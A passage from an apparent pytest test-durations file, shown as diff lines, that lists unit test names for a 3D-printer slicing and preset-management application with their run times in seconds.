"unit/test_slice_output_name_2832.py::TestLengthBudget::test_the_caller_can_reserve_room_for_its_affixes": 0.0012624366208910942, + "unit/test_slice_output_name_2832.py::TestTheReportedName::test_and_the_name_is_still_recognisable": 0.001450621522963047, + "unit/test_slice_output_name_2832.py::TestTheReportedName::test_the_comma_is_left_alone": 0.00146525539457798, + "unit/test_slice_output_name_2832.py::TestTheReportedName::test_the_slash_stops_being_a_separator": 0.001456359401345253, + "unit/test_slice_output_name_2832.py::TestWindowsReservedCharacters::test_control_characters_go_too": 0.0012429999187588692, + "unit/test_slice_output_name_2832.py::TestWindowsReservedCharacters::test_reserved_punctuation_is_replaced[\"]": 0.0012576179578900337, + "unit/test_slice_output_name_2832.py::TestWindowsReservedCharacters::test_reserved_punctuation_is_replaced[*]": 0.0014683399349451065, + "unit/test_slice_output_name_2832.py::TestWindowsReservedCharacters::test_reserved_punctuation_is_replaced[:]": 0.0012672850862145424, + "unit/test_slice_output_name_2832.py::TestWindowsReservedCharacters::test_reserved_punctuation_is_replaced[<]": 0.0016049984842538834, + "unit/test_slice_output_name_2832.py::TestWindowsReservedCharacters::test_reserved_punctuation_is_replaced[>]": 0.0013082819059491158, + "unit/test_slice_output_name_2832.py::TestWindowsReservedCharacters::test_reserved_punctuation_is_replaced[?]": 0.0012617437168955803, + "unit/test_slice_output_name_2832.py::TestWindowsReservedCharacters::test_reserved_punctuation_is_replaced[|]": 0.0012596296146512032, + "unit/test_slice_output_name_2832.py::TestWindowsReservedCharacters::test_trailing_dots_and_spaces_go": 0.0012437403202056885, + "unit/test_slice_process_support_patch.py::TestDeclinedKeysAreNotReinstated::test_declining_a_key_the_source_never_had_changes_nothing": 0.002941383980214596, + "unit/test_slice_process_support_patch.py::TestDeclinedKeysAreNotReinstated::test_declining_everything_leaves_the_preset_alone": 0.0013640541583299637, + "unit/test_slice_process_support_patch.py::TestDeclinedKeysAreNotReinstated::test_declining_everything_logs_nothing": 0.0014382051303982735, + "unit/test_slice_process_support_patch.py::TestDeclinedKeysAreNotReinstated::test_declining_nothing_is_the_behaviour_it_always_had": 0.0014397669583559036, + "unit/test_slice_process_support_patch.py::TestDeclinedKeysAreNotReinstated::test_declining_one_key_still_carries_the_others": 0.0014369739219546318, + "unit/test_slice_process_support_patch.py::TestDeclinedSourceKeys::test_a_file_that_offers_nothing_declines_nothing": 0.0025753462687134743, + "unit/test_slice_process_support_patch.py::TestDeclinedSourceKeys::test_a_key_that_was_never_offered_is_not_a_decline": 0.0025870976969599724, + "unit/test_slice_process_support_patch.py::TestDeclinedSourceKeys::test_a_partial_list_declines_only_the_rest": 0.002555830404162407, + "unit/test_slice_process_support_patch.py::TestDeclinedSourceKeys::test_an_empty_list_declines_everything_on_offer": 0.0025480054318904877, + "unit/test_slice_process_support_patch.py::TestDeclinedSourceKeys::test_no_list_at_all_declines_nothing": 0.0025989292189478874, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_carry_is_logged_with_the_keys_it_took": 0.0015720752999186516, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_malformed_preset_json_returns_input_unchanged": 0.0013502612709999084, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_malformed_project_settings_json_returns_preset_unchanged": 0.0013180701062083244, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_malformed_source_returns_preset_unchanged": 0.0012708622962236404, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_no_log_when_the_source_has_supports_off": 0.0014259833842515945, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_no_project_settings_in_source_returns_preset_unchanged": 0.0013391310349106789, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_non_string_enable_support_still_counts_as_on": 0.002107079140841961, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_only_patches_keys_present_in_source": 0.0014234492555260658, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_preserves_source_enable_support_and_interface_slot": 0.0015805428847670555, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_preset_json_not_a_dict_returns_input_unchanged": 0.0013407710939645767, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_preset_supports_on_survives_a_source_with_supports_off": 0.001355971209704876, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_source_project_settings_not_dict_returns_preset_unchanged": 0.0013146838173270226, + "unit/test_slice_process_support_patch.py::TestPatchProcessSupportSettings::test_source_without_enable_support_carries_nothing": 0.0013428274542093277, + "unit/test_slice_request_bed_type.py::TestPatchProcessBedType::test_adds_curr_bed_type_when_missing": 0.0016551129519939423, + "unit/test_slice_request_bed_type.py::TestPatchProcessBedType::test_overwrites_existing_curr_bed_type": 0.001677514985203743, + "unit/test_slice_request_bed_type.py::TestPatchProcessBedType::test_returns_input_unchanged_when_json_is_invalid": 0.002170938067138195, + "unit/test_slice_request_bed_type.py::TestPatchProcessBedType::test_returns_input_unchanged_when_json_is_not_a_dict": 0.0020300140604376793, + "unit/test_slice_request_bed_type.py::TestSliceRequestBedTypeField::test_bed_type_accepts_canonical_values": 0.00203914288431406, + "unit/test_slice_request_bed_type.py::TestSliceRequestBedTypeField::test_bed_type_defaults_to_none": 0.0026710471138358116, + "unit/test_slice_request_bed_type.py::TestSliceRequestBedTypeField::test_bed_type_rejects_overlong_input": 0.0018625594675540924, + "unit/test_slice_request_schema.py::TestFilamentPresetsList::test_empty_list_is_backfilled_from_singular": 0.0017318269237875938, + "unit/test_slice_request_schema.py::TestFilamentPresetsList::test_explicit_empty_list_with_singular_set_uses_singular": 0.001710996963083744, + "unit/test_slice_request_schema.py::TestFilamentPresetsList::test_explicit_list_passes_through": 0.0017338898032903671, + "unit/test_slice_request_schema.py::TestFilamentPresetsList::test_list_preserves_order": 0.00178555678576231, + "unit/test_slice_request_schema.py::TestLayoutFlags::test_both_default_to_off": 0.001692051999270916, + "unit/test_slice_request_schema.py::TestLayoutFlags::test_flags_are_independent": 0.00164713803678751, + "unit/test_slice_request_schema.py::TestLegacyBareIntegerShape::test_bare_int_ids_normalise_to_local_preset_ref": 0.0017954139038920403, + "unit/test_slice_request_schema.py::TestLegacyBareIntegerShape::test_legacy_ids_unchanged_in_payload": 0.0017753085121512413, + "unit/test_slice_request_schema.py::TestNewSourceAwareShape::test_cloud_refs_pass_through": 0.001685628667473793, + "unit/test_slice_request_schema.py::TestNewSourceAwareShape::test_mixed_sources_per_slot": 0.0017939917743206024, + "unit/test_slice_request_schema.py::TestPresetsRequired::test_empty_request_rejected": 0.0018593650311231613, + "unit/test_slice_request_schema.py::TestPriorityWhenBothSet::test_explicit_ref_wins_over_legacy_id": 0.0018047932535409927, + "unit/test_slice_request_schema.py::TestValidationErrors::test_invalid_source_rejected": 0.0017506014555692673, + "unit/test_slice_request_schema.py::TestValidationErrors::test_missing_printer_slot_raises": 0.0018546860665082932, + "unit/test_slice_unresolved_filament_2977.py::TestBothSignalsAreRequiredTogether::test_a_users_own_cloud_preset_is_not_flagged": 0.0017430977895855904, + "unit/test_slice_unresolved_filament_2977.py::TestBothSignalsAreRequiredTogether::test_a_vendorless_profile_that_still_resolved_is_not_flagged": 0.0017421059310436249, + "unit/test_slice_unresolved_filament_2977.py::TestBothSignalsAreRequiredTogether::test_whitespace_does_not_read_as_a_real_filament_id": 0.0017396416515111923, + "unit/test_slice_unresolved_filament_2977.py::TestItAnswersEmptyWhenItCannotSeeTheAnswer::test_a_missing_project_settings": 0.0016998853534460068, + "unit/test_slice_unresolved_filament_2977.py::TestItAnswersEmptyWhenItCannotSeeTheAnswer::test_a_raw_gcode_response_carries_no_per_slot_config": 0.0019452758133411407, + "unit/test_slice_unresolved_filament_2977.py::TestItAnswersEmptyWhenItCannotSeeTheAnswer::test_an_unreadable_archive": 0.00170206930488348, + "unit/test_slice_unresolved_filament_2977.py::TestItAnswersEmptyWhenItCannotSeeTheAnswer::test_empty_content": 0.0022685714066028595, + "unit/test_slice_unresolved_filament_2977.py::TestItAnswersEmptyWhenItCannotSeeTheAnswer::test_malformed_json": 0.0017206240445375443, + "unit/test_slice_unresolved_filament_2977.py::TestItAnswersEmptyWhenItCannotSeeTheAnswer::test_mismatched_array_lengths_only_compare_the_overlap": 0.002262079156935215, + "unit/test_slice_unresolved_filament_2977.py::TestItAnswersEmptyWhenItCannotSeeTheAnswer::test_missing_vendor_or_id_arrays": 0.0017862161621451378, + "unit/test_slice_unresolved_filament_2977.py::TestItAnswersEmptyWhenItCannotSeeTheAnswer::test_scalar_rather_than_array_fields": 0.001705016940832138, + "unit/test_slice_unresolved_filament_2977.py::TestItAnswersEmptyWhenItCannotSeeTheAnswer::test_settings_that_are_not_an_object": 0.001697411760687828, + "unit/test_slice_unresolved_filament_2977.py::TestItRecognisesTheDefect::test_a_resolved_slot_is_not_flagged": 0.0017888238653540611, + "unit/test_slice_unresolved_filament_2977.py::TestItRecognisesTheDefect::test_an_unresolved_slot_is_flagged_by_its_one_indexed_position": 0.0017278781160712242, + "unit/test_slice_unresolved_filament_2977.py::TestItRecognisesTheDefect::test_every_slot_can_be_flagged": 0.0017545288428664207, + "unit/test_slice_unresolved_filament_2977.py::TestItRecognisesTheDefect::test_only_the_unresolved_slots_of_a_multi_colour_slice_are_flagged": 0.001766822300851345, + "unit/test_slice_unresolved_filament_2977.py::TestTheMessage::test_a_slot_with_no_matching_preset_name_is_still_named": 0.001890653744339943, + "unit/test_slice_unresolved_filament_2977.py::TestTheMessage::test_it_is_plain_ascii_so_it_survives_every_log_sink": 0.0016854200512170792, + "unit/test_slice_unresolved_filament_2977.py::TestTheMessage::test_it_names_every_affected_slot": 0.0023004524409770966, + "unit/test_slice_unresolved_filament_2977.py::TestTheMessage::test_it_names_the_slot_and_the_preset_that_was_picked": 0.0025871479883790016, + "unit/test_slice_unresolved_filament_2977.py::TestTheMessage::test_it_names_the_wrong_defaults_the_user_should_check": 0.0018392065539956093, + "unit/test_slice_unresolved_filament_2977.py::TestTheMessage::test_it_says_the_file_was_kept": 0.0016523068770766258, + "unit/test_sliced_3mf_named_as_source_2993.py::TestClassification::test_a_genuine_project_stays_a_project": 0.002545200288295746, + "unit/test_sliced_3mf_named_as_source_2993.py::TestClassification::test_a_name_that_already_says_sliced_needs_no_file": 0.0015356391668319702, + "unit/test_sliced_3mf_named_as_source_2993.py::TestClassification::test_nothing_else_is_sniffed[README]": 0.0014016469940543175, + "unit/test_sliced_3mf_named_as_source_2993.py::TestClassification::test_nothing_else_is_sniffed[model.gcode]": 0.0014755763113498688, + "unit/test_sliced_3mf_named_as_source_2993.py::TestClassification::test_nothing_else_is_sniffed[model.stl]": 0.0014400100335478783, + "unit/test_sliced_3mf_named_as_source_2993.py::TestClassification::test_nothing_else_is_sniffed[preview.png]": 0.0014081476256251335, + "unit/test_sliced_3mf_named_as_source_2993.py::TestClassification::test_the_reported_file": 0.0016986727714538574, + "unit/test_sliced_3mf_named_as_source_2993.py::TestTheSharedAnswer::test_a_project_export_is_not": 0.0012397048994898796, + "unit/test_sliced_3mf_named_as_source_2993.py::TestTheSharedAnswer::test_a_slicer_that_does_not_use_plate_naming_still_counts": 0.0012116329744458199, + "unit/test_sliced_3mf_named_as_source_2993.py::TestTheSharedAnswer::test_an_unreadable_file_reads_as_not_sliced": 0.0013820286840200424, + "unit/test_sliced_3mf_named_as_source_2993.py::TestTheSharedAnswer::test_plate_gcode_makes_it_sliced": 0.0012966794893145561, + "unit/test_sliced_3mf_named_as_source_2993.py::TestTheTwoSidesAgree::test_the_archives_badge_and_the_library_now_say_the_same_thing": 0.001844196580350399, + "unit/test_sliced_3mf_reclassify_migration_2993.py::test_a_missing_file_does_not_stop_the_pass": 0.49524787347763777, + "unit/test_sliced_3mf_reclassify_migration_2993.py::test_a_stored_sliced_3mf_is_re_typed": 1.0513850608840585, + "unit/test_sliced_3mf_reclassify_migration_2993.py::test_external_rows_are_left_to_their_own_scan": 0.4702331768348813, + "unit/test_sliced_3mf_reclassify_migration_2993.py::test_it_runs_once": 0.8573564914986491, + "unit/test_slicer_preset_values.py::TestResolveProfile::test_a_response_without_a_profile_object_returns_no_values": 0.001754898577928543, + "unit/test_slicer_preset_values.py::TestResolveProfile::test_a_sidecar_error_is_not_reported_as_outdated": 0.0016913572326302528, + "unit/test_slicer_preset_values.py::TestResolveProfile::test_a_sidecar_without_the_endpoint_is_reported_as_outdated": 0.0017821788787841797, + "unit/test_slicer_preset_values.py::TestResolveProfile::test_an_already_flat_preset_round_trips": 0.0016359779983758926, + "unit/test_slicer_preset_values.py::TestResolveProfile::test_returns_the_flattened_values": 0.002270626835525036, + "unit/test_slicer_preset_values.py::TestResolveProfile::test_unparseable_preset_content_blames_the_preset": 0.0015513282269239426, + "unit/test_slicer_preset_values.py::TestResolveProfile::test_unreachable_sidecar_still_raises": 0.0016057305037975311, + "unit/test_slicer_presets.py::TestEnrichCloudMetadata::test_bambu_cloud_filament_metadata_backfilled_from_local": 0.0012412574142217636, + "unit/test_slicer_presets.py::TestEnrichCloudMetadata::test_bambu_cloud_keeps_its_own_metadata_when_present": 0.0012408364564180374, + "unit/test_slicer_presets.py::TestEnrichCloudMetadata::test_bambu_cloud_metadata_falls_back_through_orca_and_standard": 0.0011825170367956161, + "unit/test_slicer_presets.py::TestEnrichCloudMetadata::test_preserves_order_within_tier": 0.0012160586193203926, + "unit/test_slicer_presets.py::TestEnrichCloudMetadata::test_same_name_in_all_tiers_appears_in_every_tier": 0.0012350762262940407, + "unit/test_slicer_presets.py::TestEnrichCompatiblePrinters::test_bambu_cloud_borrows_from_orca_cloud_too": 0.0012369100004434586, + "unit/test_slicer_presets.py::TestEnrichCompatiblePrinters::test_bambu_cloud_borrows_the_list_from_a_same_named_local_import": 0.0012036757543683052, + "unit/test_slicer_presets.py::TestEnrichCompatiblePrinters::test_borrowed_list_is_copied_not_shared": 0.0011993395164608955, + "unit/test_slicer_presets.py::TestEnrichCompatiblePrinters::test_never_overwrites_a_list_the_entry_already_has": 0.0011935969814658165, + "unit/test_slicer_presets.py::TestEnrichCompatiblePrinters::test_no_donor_leaves_the_entry_unclassified": 0.0011812159791588783, + "unit/test_slicer_presets.py::TestEnrichCompatiblePrinters::test_orca_cloud_borrows_when_its_own_content_had_no_list": 0.0011925240978598595, + "unit/test_slicer_presets.py::TestEnrichCompatiblePrinters::test_process_slot_is_bridged_as_well": 0.0012028645724058151, + "unit/test_slicer_presets.py::TestFetchBundledPresets::test_cache_hit_skips_sidecar": 0.0015675360336899757, + "unit/test_slicer_presets.py::TestFetchBundledPresets::test_happy_path_shapes_response": 0.001905941404402256, + "unit/test_slicer_presets.py::TestFetchBundledPresets::test_no_sidecar_url_returns_empty": 0.0016131838783621788, + "unit/test_slicer_presets.py::TestFetchBundledPresets::test_refresh_bypasses_bundled_cache": 0.0021508289501070976, + "unit/test_slicer_presets.py::TestFetchBundledPresets::test_sidecar_error_returns_empty": 0.002203439362347126, + "unit/test_slicer_presets.py::TestFetchCloudPresets::test_auth_error_returns_expired": 0.002365933731198311, + "unit/test_slicer_presets.py::TestFetchCloudPresets::test_cache_hit_skips_cloud_call": 0.002162291668355465, + "unit/test_slicer_presets.py::TestFetchCloudPresets::test_cache_invalidates_on_token_change": 0.002693088725209236, + "unit/test_slicer_presets.py::TestFetchCloudPresets::test_cache_is_per_user": 0.002781324088573456, + "unit/test_slicer_presets.py::TestFetchCloudPresets::test_cloud_error_returns_unreachable": 0.0021961769089102745, + "unit/test_slicer_presets.py::TestFetchCloudPresets::test_happy_path_shapes_private_then_public": 0.0023733284324407578, + "unit/test_slicer_presets.py::TestFetchCloudPresets::test_no_token_returns_not_authenticated": 0.0016982946544885635, + "unit/test_slicer_presets.py::TestFetchCloudPresets::test_refresh_bypasses_cloud_cache": 0.002394246868789196, + "unit/test_slicer_presets.py::TestFetchCloudPresets::test_refresh_writes_back_to_cache": 0.0022154105827212334, + "unit/test_slicer_presets.py::TestFetchCloudPresets::test_user_without_cloud_auth_returns_not_authenticated": 0.0016724057495594025, + "unit/test_slicer_presets.py::TestFetchOrcaCloudPresets::test_auth_error_returns_expired": 0.0021936707198619843, + "unit/test_slicer_presets.py::TestFetchOrcaCloudPresets::test_cache_hit_skips_orca_call": 0.0023381132632493973, + "unit/test_slicer_presets.py::TestFetchOrcaCloudPresets::test_extracts_compatible_printers_from_content": 0.002327892929315567, + "unit/test_slicer_presets.py::TestFetchOrcaCloudPresets::test_happy_path_shapes_grouped_by_type": 0.0020726844668388367, + "unit/test_slicer_presets.py::TestFetchOrcaCloudPresets::test_missing_or_malformed_compatible_printers_stays_none": 0.002042197622358799, + "unit/test_slicer_presets.py::TestFetchOrcaCloudPresets::test_no_token_returns_not_authenticated": 0.0018399590626358986, + "unit/test_slicer_presets.py::TestFetchOrcaCloudPresets::test_orca_error_returns_unreachable": 0.0024008601903915405, + "unit/test_slicer_presets.py::TestFetchOrcaCloudPresets::test_user_without_orca_cloud_auth_returns_not_authenticated": 0.0022719884291291237, + "unit/test_slicer_presets.py::TestListPrinterModels::test_returns_a_copy_not_the_module_dict": 0.0011800434440374374, + "unit/test_slicer_presets.py::TestListPrinterModels::test_returns_canonical_printer_model_map": 0.0011707041412591934, + "unit/test_slicer_presets.py::TestParseCompatiblePrinters::test_drops_non_string_and_blank_entries": 0.001218101941049099, + "unit/test_slicer_presets.py::TestParseCompatiblePrinters::test_malformed_json_returns_none": 0.0013698376715183258, + "unit/test_slicer_presets.py::TestParseCompatiblePrinters::test_none_and_empty_return_none": 0.0012235837057232857, + "unit/test_slicer_presets.py::TestParseCompatiblePrinters::test_parses_json_array": 0.0012116516008973122, + "unit/test_slicer_presets.py::TestResolveSlicerApiUrl::test_bambu_studio_preference_uses_bambu_url": 0.0015286356210708618, + "unit/test_slicer_presets.py::TestResolveSlicerApiUrl::test_default_preference_is_bambu_studio": 0.0015523917973041534, + "unit/test_slicer_presets.py::TestResolveSlicerApiUrl::test_orcaslicer_preference_uses_orca_url": 0.0015184367075562477, + "unit/test_slicer_presets.py::TestResolveSlicerApiUrl::test_unknown_preference_returns_none": 0.001583518460392952, + "unit/test_slicer_settings.py::TestPreferredSlicerSchema::test_default_value_is_bambu_studio": 0.0012120017781853676, + "unit/test_slicer_settings.py::TestPreferredSlicerSchema::test_partial_update_preserves_other_fields": 0.0012353574857115746, + "unit/test_slicer_settings.py::TestPreferredSlicerSchema::test_serialization_roundtrip": 0.0012489911168813705, + "unit/test_slicer_settings.py::TestPreferredSlicerSchema::test_set_to_bambu_studio_explicit": 0.001214037649333477, + "unit/test_slicer_settings.py::TestPreferredSlicerSchema::test_set_to_orcaslicer": 0.0012497631832957268, + "unit/test_slicer_settings.py::TestPreferredSlicerSchema::test_update_schema_accepts_value": 0.0012025656178593636, + "unit/test_slicer_settings.py::TestPreferredSlicerSchema::test_update_schema_default_is_none": 0.0012079942971467972, + "unit/test_slicer_stall_timeout.py::TestLivenessWindow::test_a_fresh_slice_has_the_full_window": 0.001233091577887535, + "unit/test_slicer_stall_timeout.py::TestLivenessWindow::test_message_distinguishes_the_two_cases": 0.0011894991621375084, + "unit/test_slicer_stall_timeout.py::TestLivenessWindow::test_message_points_at_the_setting": 0.0011902805417776108, + "unit/test_slicer_stall_timeout.py::TestLivenessWindow::test_progress_pushes_the_deadline_out": 0.00116677675396204, + "unit/test_slicer_stall_timeout.py::TestLivenessWindow::test_without_a_progress_channel_the_window_is_total_elapsed": 0.001196923665702343, + "unit/test_slicer_stall_timeout.py::TestSliceIsNotCutOffWhileProgressing::test_a_slow_slice_that_reports_progress_completes": 0.5033299895003438, + "unit/test_slicer_stall_timeout.py::TestSliceIsNotCutOffWhileProgressing::test_repeated_identical_progress_does_not_count_as_alive": 0.30508117470890284, + "unit/test_slicer_stall_timeout.py::TestStallTimeoutSetting::test_a_failing_lookup_falls_back_too": 0.0015229946002364159, + "unit/test_slicer_stall_timeout.py::TestStallTimeoutSetting::test_default_is_longer_than_the_old_fixed_ceiling": 0.0012321993708610535, + "unit/test_slicer_stall_timeout.py::TestStallTimeoutSetting::test_falls_back_rather_than_failing_the_slice[-5]": 0.001594768837094307, + "unit/test_slicer_stall_timeout.py::TestStallTimeoutSetting::test_falls_back_rather_than_failing_the_slice[0]": 0.00169337447732687, + "unit/test_slicer_stall_timeout.py::TestStallTimeoutSetting::test_falls_back_rather_than_failing_the_slice[None]": 0.0023973556235432625, + "unit/test_slicer_stall_timeout.py::TestStallTimeoutSetting::test_falls_back_rather_than_failing_the_slice[]": 0.0021896744146943092, + "unit/test_slicer_stall_timeout.py::TestStallTimeoutSetting::test_falls_back_rather_than_failing_the_slice[not-a-number]": 0.002269263379275799, + "unit/test_slicer_stall_timeout.py::TestStallTimeoutSetting::test_reads_the_configured_value": 0.002638576552271843, + "unit/test_slicer_stall_timeout.py::TestStalledSliceFails::test_a_genuinely_unreachable_sidecar_still_says_so": 0.0034237485378980637, + "unit/test_slicer_stall_timeout.py::TestStalledSliceFails::test_silence_ends_the_wait": 0.20562177430838346, + "unit/test_slicer_stall_timeout.py::TestStalledSliceFails::test_timeout_is_not_reported_as_unreachable": 0.2050631418824196, + "unit/test_slicer_upload_size_rejection.py::TestOtherFailuresAreUnaffected::test_a_cli_error_that_merely_mentions_a_large_file_is_not_hijacked": 0.002789645455777645, + "unit/test_slicer_upload_size_rejection.py::TestOtherFailuresAreUnaffected::test_a_proxy_413_still_names_the_proxy": 0.002774861641228199, + "unit/test_slicer_upload_size_rejection.py::TestOtherFailuresAreUnaffected::test_an_ordinary_cli_failure_is_still_a_server_error": 0.002843269146978855, + "unit/test_slicer_upload_size_rejection.py::TestOversizeUploadIsRecognised::test_a_413_from_a_current_sidecar_is_handled_the_same": 0.0032378993928432465, + "unit/test_slicer_upload_size_rejection.py::TestOversizeUploadIsRecognised::test_a_500_file_too_large_is_treated_as_bad_input": 0.003941708244383335, + "unit/test_slicer_upload_size_rejection.py::TestOversizeUploadIsRecognised::test_it_is_not_a_server_error": 0.003240634687244892, + "unit/test_slicer_upload_size_rejection.py::TestTheMessageIsActionable::test_a_current_sidecar_is_told_which_variable_to_set": 0.002787655219435692, + "unit/test_slicer_upload_size_rejection.py::TestTheMessageIsActionable::test_an_old_sidecar_is_told_to_update_not_to_set_a_variable": 0.002796079032123089, + "unit/test_slicer_upload_size_rejection.py::TestTheMessageIsActionable::test_it_keeps_what_the_sidecar_said": 0.002813342958688736, + "unit/test_slicer_upload_size_rejection.py::TestTheMessageIsActionable::test_it_names_the_model_size": 0.0028745876625180244, + "unit/test_slicer_upload_size_rejection.py::TestTheMessageIsActionable::test_it_rules_out_the_layers_the_reporter_tried": 0.0028558308258652687, + "unit/test_slicer_upload_size_rejection.py::TestTheMessageIsActionable::test_the_update_command_names_the_service": 0.0027770651504397392, + "unit/test_slicer_upload_size_rejection.py::TestTransportErrorsAlwaysNameSomething::test_a_real_message_is_preferred": 0.0010213050991296768, + "unit/test_slicer_upload_size_rejection.py::TestTransportErrorsAlwaysNameSomething::test_an_exception_with_no_message_falls_back_to_its_type": 0.0010521812364459038, + "unit/test_slicer_upload_size_rejection.py::TestTransportErrorsAlwaysNameSomething::test_the_slice_path_never_reports_an_empty_reason": 0.0027726078405976295, + "unit/test_slot_nozzle_resolution.py::TestDualNozzleMixedDiameters::test_an_fts_inlet_answers_when_there_is_no_extruder_map": 0.00100625678896904, + "unit/test_slot_nozzle_resolution.py::TestDualNozzleMixedDiameters::test_each_hotend_reports_its_own_diameter": 0.0010356428101658821, + "unit/test_slot_nozzle_resolution.py::TestDualNozzleMixedDiameters::test_external_slots_name_their_side_by_tray_id": 0.0010327855125069618, + "unit/test_slot_nozzle_resolution.py::TestDualNozzleMixedDiameters::test_the_slots_extruder_decides_which_one": 0.0010310914367437363, + "unit/test_slot_nozzle_resolution.py::TestFlowMatching::test_a_printer_with_no_fitted_flow_applies_everything": 0.0009950445964932442, + "unit/test_slot_nozzle_resolution.py::TestFlowMatching::test_a_profile_with_no_stored_flow_still_applies": 0.001000414602458477, + "unit/test_slot_nozzle_resolution.py::TestFlowMatching::test_resolve_carries_the_flow_with_the_diameter": 0.0010283887386322021, + "unit/test_slot_nozzle_resolution.py::TestFlowMatching::test_the_flows_must_agree_once_both_are_known": 0.0009910287335515022, + "unit/test_slot_nozzle_resolution.py::TestFlowType::test_a_printer_that_declares_no_flow_answers_none": 0.0009983526542782784, + "unit/test_slot_nozzle_resolution.py::TestFlowType::test_normalise_accepts_both_spellings": 0.000993402674794197, + "unit/test_slot_nozzle_resolution.py::TestFlowType::test_the_fitted_nozzles_flow_is_read_per_hotend": 0.0010115159675478935, + "unit/test_slot_nozzle_resolution.py::TestMatchingNozzles::test_both_conventions_agree_so_the_answer_cannot_be_wrong": 0.0010168170556426048, + "unit/test_slot_nozzle_resolution.py::TestMissingHardware::test_a_blank_diameter_is_not_a_diameter": 0.001003139652311802, + "unit/test_slot_nozzle_resolution.py::TestMissingHardware::test_no_state_at_all": 0.0010002870112657547, + "unit/test_slot_nozzle_resolution.py::TestMissingHardware::test_printer_has_reported_no_nozzles": 0.0010061850771307945, + "unit/test_slot_nozzle_resolution.py::TestMissingHardware::test_the_second_hotend_is_absent_from_the_report": 0.0009865602478384972, + "unit/test_slot_nozzle_resolution.py::TestSingleNozzle::test_index_zero_whatever_the_map_says": 0.0010147700086236, + "unit/test_slot_nozzle_resolution.py::TestSingleNozzle::test_no_map_means_unknown_extruder_not_zero": 0.0010231295600533485, + "unit/test_slot_preset_key.py::test_ams_ht_keyed_by_ams_id": 0.0009952951222658157, + "unit/test_slot_preset_key.py::test_external_spool_uses_multiplied_id": 0.000988554209470749, + "unit/test_slot_preset_key.py::test_regular_ams_uses_global_tray_id": 0.0009974101558327675, + "unit/test_smart_plug_power_flag_migration_2629.py::TestPostgresBranch::test_pg_branch_uses_true_and_if_not_exists": 0.013601082377135754, + "unit/test_smart_plug_power_flag_migration_2629.py::TestPostgresBranch::test_sqlite_branch_uses_numeric_default": 0.013848384842276573, + "unit/test_smart_plug_power_flag_migration_2629.py::test_column_missing_before_migration": 0.051793867722153664, + "unit/test_smart_plug_power_flag_migration_2629.py::test_existing_plugs_backfill_to_true": 0.4477991098538041, + "unit/test_smart_plug_power_flag_migration_2629.py::test_migration_is_idempotent": 0.8496939791366458, + "unit/test_spawn_patch_does_not_leak_coroutines.py::test_a_bare_mock_leaks_the_coroutine": 0.7331904489547014, + "unit/test_spawn_patch_does_not_leak_coroutines.py::test_close_and_default_defers_the_return_value_to_the_mock": 0.0011283531785011292, + "unit/test_spawn_patch_does_not_leak_coroutines.py::test_it_is_still_a_mock_that_records_its_calls": 0.0018812865018844604, + "unit/test_spawn_patch_does_not_leak_coroutines.py::test_the_caller_still_gets_a_task_stand_in": 0.0015760548412799835, + "unit/test_spawn_patch_does_not_leak_coroutines.py::test_the_shared_patch_does_not": 0.5914957905188203, + "unit/test_sponsor_prompt_service.py::TestAnniversary::test_does_not_fire_before_1_year": 0.18919541966170073, + "unit/test_sponsor_prompt_service.py::TestAnniversary::test_fires_after_1_year": 0.1816742615774274, + "unit/test_sponsor_prompt_service.py::TestArchiveMilestones::test_fires_at_50": 0.1907213581725955, + "unit/test_sponsor_prompt_service.py::TestAuthDisabledMode::test_null_keyed_counters_isolated_from_per_user": 0.22585918754339218, + "unit/test_sponsor_prompt_service.py::TestAuthDisabledMode::test_uses_install_anchor_for_anniversary": 0.18022131826728582, + "unit/test_sponsor_prompt_service.py::TestCooldown::test_no_toast_within_14d_window": 0.2111197216436267, + "unit/test_sponsor_prompt_service.py::TestCooldown::test_toast_eligible_after_14d_window": 0.21273280400782824, + "unit/test_sponsor_prompt_service.py::TestCostMilestones::test_fires_when_cost_sum_crosses_100": 0.19347016979008913, + "unit/test_sponsor_prompt_service.py::TestDismiss::test_dismiss_adds_to_seen_and_anchors_cooldown": 0.19660613872110844, + "unit/test_sponsor_prompt_service.py::TestDismiss::test_version_update_dismiss_updates_version_not_seen_list": 0.17957231123000383, + "unit/test_sponsor_prompt_service.py::TestEmptyState::test_evaluate_returns_none_for_fresh_user": 0.17621065955609083, + "unit/test_sponsor_prompt_service.py::TestEmptyState::test_state_row_is_created_lazily": 0.1898307092487812, + "unit/test_sponsor_prompt_service.py::TestPrintMilestones::test_failed_prints_dont_count": 0.19311716873198748, + "unit/test_sponsor_prompt_service.py::TestPrintMilestones::test_fires_at_100": 0.2055732049047947, + "unit/test_sponsor_prompt_service.py::TestPrintMilestones::test_fires_at_lowest_threshold": 0.18016882054507732, + "unit/test_sponsor_prompt_service.py::TestPrintMilestones::test_picks_highest_unseen_milestone": 0.26626385748386383, + "unit/test_sponsor_prompt_service.py::TestPrintMilestones::test_skips_already_seen": 0.2711339257657528, + "unit/test_sponsor_prompt_service.py::TestPriorityOrder::test_anniversary_beats_prints": 0.21591836586594582, + "unit/test_sponsor_prompt_service.py::TestPriorityOrder::test_prints_beats_archives": 0.22644067835062742, + "unit/test_sponsor_prompt_service.py::TestVersionUpdate::test_fires_on_version_bump": 0.19235715456306934, + "unit/test_sponsor_prompt_service.py::TestVersionUpdate::test_first_read_silently_anchors": 0.1899893255904317, + "unit/test_spool_filament_preset_cascade.py::TestClearedPreset::test_a_blank_row_means_none_not_fall_through": 0.18921305052936077, + "unit/test_spool_filament_preset_cascade.py::TestModelDefault::test_it_applies_to_every_nozzle_of_that_model": 0.18694259505718946, + "unit/test_spool_filament_preset_cascade.py::TestModelDefault::test_model_row_wins_over_the_spool_default": 0.18292254209518433, + "unit/test_spool_filament_preset_cascade.py::TestModelDefault::test_other_models_are_untouched": 0.1836906298995018, + 